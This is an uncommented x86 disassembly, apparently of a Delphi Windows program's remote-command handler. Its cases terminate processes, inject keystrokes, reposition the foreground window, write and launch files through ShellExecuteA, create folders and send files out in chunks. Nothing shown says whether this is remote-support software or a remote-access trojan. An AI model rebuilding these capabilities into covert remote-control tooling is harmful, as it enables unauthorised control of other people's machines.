mov eax, dword [0x41448c]
call fcn.00403740
mov edx, dword [0x534118]
mov dword [edx], eax
mov eax, dword [0x5344ec]
cmp dword [eax], 0
jne 0x4d99f5
mov dl, 1
mov eax, dword [0x470a74]
call fcn.00470c0c
mov edx, dword [0x5344ec]
mov dword [edx], eax
mov eax, dword [0x5344b8]
cmp byte [eax], 0
jne 0x4d9aa6
push 0
push 3
lea eax, [ebp - 0x924]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x924]
mov edx, 0x4dca50
call fcn.0046d0b8
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004abd20
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5344f4]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x928]
mov edx, dword [0x53451c]
mov edx, dword [edx]
call fcn.00404e38
mov eax, dword [ebp - 0x928]
mov edx, 0x4dca68
call fcn.0046d0b8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d9a9e
dec dword [ebp - 0x48]
mov cl, 1
mov dl, 1
mov eax, dword [0x4edf60]
call fcn.0041f210
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f55c
cmp dword [ebp - 0x48], 0
jg 0x4d9a7c
mov eax, dword [0x5344b8]
mov byte [eax], 1
mov word [0x532f2c], 0
xor eax, eax
mov dword [0x53b3c8], eax
xor eax, eax
mov dword [0x533008], eax
xor eax, eax
mov dword [0x53b404], eax
mov byte [0x532fb8], 0xff
jmp 0x4d9ad9
xor edx, edx
mov eax, dword [0x53b3a0]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x532fbc], 0
cmp dword [0x532ff0], 0x32
jge 0x4d9b1f
cmp byte [0x532ff4], 3
je 0x4d9b1f
mov dword [0x53b388], 0xffffffff
mov dword [0x53b38c], 0xffffffff
mov dword [0x53b390], 0xffffffff
mov dword [0x53b394], 0xffffffff
jmp case.0x4d70d0.10
mov dword [0x53b388], 0
mov dword [0x53b38c], 0
mov dword [0x53b390], 0
mov dword [0x53b394], 0
jmp case.0x4d70d0.10
mov byte [0x532fbc], 1
mov dword [0x532ff0], 0x7d0
jmp case.0x4d70d0.10
cmp byte [0x532fb8], 0
je case.0x4d70d0.10
mov byte [0x532fb8], 0
mov byte [0x532fc8], 0
mov dword [0x532ff0], 0x7d0
xor word [0x53b384], 0x1a0a
jmp 0x4d9b9e
call fcn.004d62ac
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5345dc]
cmp dword [eax], 0
jg 0x4d9b92
mov eax, dword [0x53b39c]
call fcn.00403770
mov eax, dword [0x53b3a0]
call fcn.00403770
mov eax, 0x532fd8
call fcn.0040e218
call fcn.004d6da8
cmp byte [0x533558], 0
jne 0x4d9be3
call fcn.004cd654
call fcn.004ce908
call fcn.004cf064
call fcn.004ccf2c
call fcn.004cb60c
cmp dword [0x53b538], 3
jne 0x4d9c00
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d9c05
call fcn.004cbc80
call fcn.004ee31c
jmp case.0x4d70d0.10
cmp byte [0x532fb8], 0
je case.0x4d70d0.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x532fc8], 0
jne 0x4d9c4e
cmp dword [ebp - 0x48], 2
jne 0x4d9c4e
call fcn.0046e8ec
fcomp dword [0x4dca44]
fnstsw ax
sahf
jbe 0x4d9c4e
mov dword [ebp - 0x48], 3
movsx eax, byte [0x532ff4]
cmp eax, dword [ebp - 0x48]
je 0x4d9c7f
mov al, byte [ebp - 0x48]
mov byte [0x532ff4], al
cmp byte [0x532ff4], 2
jl 0x4d9c7f
mov dword [0x53b388], 0
mov dword [0x53b38c], 0
cmp byte [0x53b3b1], 0
jle 0x4d9c94
mov al, byte [0x53b3b1]
mov byte [0x532ff8], al
jmp 0x4d9ca6
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x532ff8], al
call fcn.004d2528
cmp byte [0x532ff8], 3
je 0x4d9cb4
call fcn.004cb60c
cmp byte [0x532ff8], 4
je 0x4d9cc2
call fcn.004ccf2c
cmp dword [0x53b538], 3
jne 0x4d9cff
movsx eax, byte [0x532fb4]
mov edx, dword [0x532ff0]
call fcn.004cc350
cmp byte [0x532ff8], 5
je 0x4d9cf0
or eax, 0xffffffff
call fcn.004cc2b8
jmp 0x4d9d24
mov edx, 2
or eax, 0xffffffff
call fcn.004cc2e4
jmp 0x4d9d24
cmp byte [0x532ff8], 5
je 0x4d9d0f
call fcn.004cbc80
jmp 0x4d9d24
mov eax, dword [0x534744]
cmp dword [eax], 0xffffffd8
jge 0x4d9d24
mov eax, dword [0x534744]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x533494]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x53b3e8], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d9d51
mov byte [0x532fb4], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53b398], al
cmp byte [0x532fc8], 0
je 0x4d9d91
test esi, esi
jle 0x4d9d79
mov eax, esi
call fcn.004d631c
shl eax, 2
mov dword [0x532ff0], eax
jmp 0x4d9d88
mov eax, esi
call fcn.004d631c
shl eax, 3
mov dword [0x532ff0], eax
mov byte [0x53b3e8], 1
jmp 0x4d9db5
cmp dword [0x53b3e0], 0xb42b
ja 0x4d9dab
mov eax, esi
call fcn.004d631c
mov dword [0x532ff0], eax
jmp 0x4d9db5
mov dword [0x532ff0], 0x3e8
cmp byte [0x53b3e8], 0
je 0x4d9dcb
cmp byte [0x53b3e9], 0
je case.0x4d70d0.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004af8e4
test al, al
je case.0x4d70d0.10
call fcn.004afa94
jmp case.0x4d70d0.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x53b384], ax
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53b3ec], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53b3f0], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53b3f4], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53b3f8], eax
jmp case.0x4d70d0.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53b3fc], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53b400], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53b404], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53b408], eax
jmp case.0x4d70d0.10
lea eax, [ebp - 0xe8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
lea eax, [ebp - 0xe8]
call fcn.004d3850
cmp dword [ebx + 0x10], 0
je 0x4d9eae
mov ecx, dword [ebp - 0xe8]
mov dx, word [0x4dca30]
mov al, 1
call fcn.004acb70
jmp case.0x4d70d0.10
xor ecx, ecx
mov dx, word [0x4dca74]
xor eax, eax
call fcn.004acb70
jmp case.0x4d70d0.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x534868]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044f3dc
jmp case.0x4d70d0.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d70d0.10
lea eax, [ebp - 0x930]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov eax, dword [ebp - 0x930]
lea edx, [ebp - 0x92c]
call fcn.00408d84
mov edx, dword [ebp - 0x92c]
mov eax, 0x53b568
call fcn.004045d0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d70d0.10
lea eax, [ebp - 0x5c]
call fcn.0040457c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d9f6f
cmp dword [ebx + 4], 0x20
jle 0x4d9f6f
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d9f93
cmp eax, 0xffffffff
je 0x4d9f93
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d70d0.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.00404614
jmp 0x4d7bdb
lea edx, [ebp - 0x934]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x934]
mov eax, 0x53b4e8
call fcn.00404e38
mov dl, 1
mov eax, dword [0x53b4e8]
call fcn.004ea368
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d70d0.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x6c]
mov eax, 0x4dca80
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4da05d
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a8c
cmp dword [ebx + 0x10], 0xaf
jne 0x4da076
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e69b4
jmp case.0x4d70d0.10
cmp dword [ebx + 0x10], 0xae
jne 0x4da094
or edx, 0xffffffff
mov eax, dword [ebp - 0x6c]
call fcn.00409434
call fcn.004e6ab8
jmp case.0x4d70d0.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4da0b3
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53b4d0]
call fcn.00404880
jmp 0x4d7bdb
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d70d0.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53b4d0]
call fcn.00404880
jmp 0x4d7bdb
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045dd60
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d70d0.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d70d0.10
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1e4]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d70d0.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d70d0.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d70d0.10
push 0
lea eax, [ebp - 0x208]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebx + 0x10]
cmp eax, 9
ja case.0x4da1f8.0
jmp dword [eax*4 + 0x4da1ff]
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da43e
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da265
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da43e
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da43e
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da2da
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da43e
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da326
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4da43e
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da43e
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da383
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da43e
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4da43e
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4da405
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4da432
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1f4]
push eax
mov eax, dword [ebp - 0x1f8]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov edx, 0x4dca8c
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
mov eax, dword [0x534848]
push dword [eax]
push 0x4dcabc
lea eax, [ebp - 0x938]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x938]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
mov eax, dword [0x534848]
push dword [eax]
push 0x4dcacc
lea eax, [ebp - 0x93c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x93c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
mov eax, dword [0x534848]
push dword [eax]
push 0x4dcadc
lea eax, [ebp - 0x940]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x940]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x944]
mov eax, 0xf9
call fcn.004a94e4
mov ecx, dword [ebp - 0x944]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404880
lea eax, [ebp - 0x948]
mov edx, dword [ebp - 0x88]
call fcn.00404e38
mov eax, dword [ebp - 0x948]
push eax
push esi
call fcn.0046d968
push 0x4dcaec
push dword [ebp - 0x88]
push 0x4dcaec
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048f4
mov eax, esi
call fcn.00403770
call fcn.004d63a4
xor edx, edx
mov eax, 3
call fcn.004d63c4
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a2c
push eax
push 0x4dca28
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d70d0.10
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov edx, 0x4dca8c
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
lea eax, [ebp - 0x950]
mov edx, dword [0x53b2a4]
mov dl, byte [edx]
call fcn.0040475c
push dword [ebp - 0x950]
push 0x4dcaf8
lea eax, [ebp - 0x94c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x94c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
push dword [0x53b2a4]
push 0x4dcb0c
lea eax, [ebp - 0x954]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x954]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
push dword [0x53b2a4]
push 0x4dcb24
lea eax, [ebp - 0x958]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x958]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dcaac
mov eax, dword [0x534848]
push dword [eax]
push 0x4dcadc
lea eax, [ebp - 0x95c]
mov edx, 3
call fcn.004048f4
mov edx, dword [ebp - 0x95c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x960]
mov eax, 0xf9
call fcn.004a94e4
mov ecx, dword [ebp - 0x960]
mov edx, dword [0x534848]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404880
lea eax, [ebp - 0x964]
mov edx, dword [ebp - 0x88]
call fcn.00404e38
mov eax, dword [ebp - 0x964]
push eax
push esi
call fcn.0046d968
push 0x4dcaec
push dword [ebp - 0x88]
push 0x4dcaec
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048f4
mov eax, esi
call fcn.00403770
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a2c
push eax
push 0x4dca28
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0047079c
mov eax, dword [0x53a15c]
call fcn.0049dc18
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e39d0
jmp case.0x4d70d0.10
lea edx, [ebp - 0x968]
mov eax, 0xfa
call fcn.004a94e4
mov eax, dword [ebp - 0x968]
push eax
lea edx, [ebp - 0x96c]
mov eax, 0xae
call fcn.004a94e4
mov eax, dword [ebp - 0x96c]
push eax
lea eax, [ebp - 0x970]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047e4
mov ecx, dword [ebp - 0x970]
pop eax
pop edx
call fcn.0046c0c0
jmp case.0x4d70d0.10
cmp dword [0x532f38], 0x5250390
jb case.0x4d70d0.10
cmp byte [0x533578], 0
jne case.0x4d70d0.10
xor eax, eax
push ebp
push 0x4daaf3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x53b34c], eax
mov eax, dword [0x53b34c]
add eax, 0x5b
cmp eax, dword [0x53b3e0]
jae 0x4da802
push 0
push 0x3e8
mov eax, dword [0x532ef8]
mov edx, dword [0x532efc]
call fcn.00405910
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4da802
cmp eax, 0
je 0x4daade
mov byte [0x533578], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x9c]
call fcn.004d3850
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0x9c]
call fcn.00404614
mov eax, dword [ebp - 0x9c]
call fcn.00404834
cmp eax, 3
jl 0x4daabf
mov eax, dword [ebp - 0x9c]
call fcn.00462d5c
test al, al
je 0x4daabf
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d5208
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e17f0
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e1a3c
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1fcc
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4eec48]
call fcn.00403740
mov dword [0x53b588], eax
push 0
push 0x20
mov eax, dword [0x53b588]
call fcn.00419664
push 0
push 0x20
mov eax, dword [0x53b588]
call fcn.00419600
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4daab8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
mov eax, dword [0x53b588]
call fcn.00419614
cmp edx, 0
jne 0x4da951
cmp eax, 0x20
jbe 0x4daa77
jmp 0x4da957
jle 0x4daa77
mov eax, dword [0x53b588]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x53b588]
call fcn.00419614
mov dword [ebx + 4], eax
mov eax, dword [0x53b3e0]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004e1208
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x7a8]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x53b588]
call fcn.00419600
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x53b588]
call fcn.004195e0
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4da9ef
cmp eax, 0x500
jbe 0x4da9fd
jmp 0x4da9f1
jle 0x4da9fd
mov dword [ebp - 0xac], 0x500
jmp 0x4daa15
mov eax, dword [0x53b588]
call fcn.004195e0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x53b588]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x53b588]
call fcn.004195e0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d4ec0
test al, al
je 0x4daa95
test esi, 0xf
jne 0x4daa6b
mov eax, dword [0x534724]
mov eax, dword [eax]
call fcn.00447fa0
cmp dword [ebx + 0x18], 0
jne 0x4da9c1
jmp 0x4daa95
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d5208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4daade
mov eax, dword [0x53b588]
call fcn.00403770
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d5208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d70d0.10
mov byte [0x533578], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409ea8
lea eax, [ebp - 0x34]
call fcn.004d3850
push 0
lea eax, [ebp - 0x34]
call fcn.00404a84
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x974]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0x974]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d5208
jmp case.0x4d70d0.10
cmp byte [0x53357c], 0
jne case.0x4d70d0.10
xor eax, eax
push ebp
push 0x4dad58
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53357c], 1
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x978]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0x978]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d3850
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4dad10
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x97c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x97c]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404880
mov eax, dword [ebp - 0x34]
call fcn.0046d6bc
test al, al
je 0x4dac40
mov eax, dword [ebp - 0x34]
call fcn.004eb118
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d31d0
jmp 0x4dad01
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e17f0
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e1a3c
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1fcc
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045d0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4dace8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dacef
mov eax, dword [ebp - 0xd8]
call fcn.00403770
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dabf2
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
xor eax, eax
pop edx
pop ecx
